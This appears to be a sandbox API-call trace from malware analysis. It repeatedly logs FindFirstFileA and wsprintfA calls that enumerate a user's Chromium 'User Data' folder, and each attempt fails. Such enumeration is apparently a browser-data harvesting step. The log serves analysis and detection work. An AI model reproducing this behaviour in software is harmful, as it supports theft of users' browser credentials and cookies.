[0052.753] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.753] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.753] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.753] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.753] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.753] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.753] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.753] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.753] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.753] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.753] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.753] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.753] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.753] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.753] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.753] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.754] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.754] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.754] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.754] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.754] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.754] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.754] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.754] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.754] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.754] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.754] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.754] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.754] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.754] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.754] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.754] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.754] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.754] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.755] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.755] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.755] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.755] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.755] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.755] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.755] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.755] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.755] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.755] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.755] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.755] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.755] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.755] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.755] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.755] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.755] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.755] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.756] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.756] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.756] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.756] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
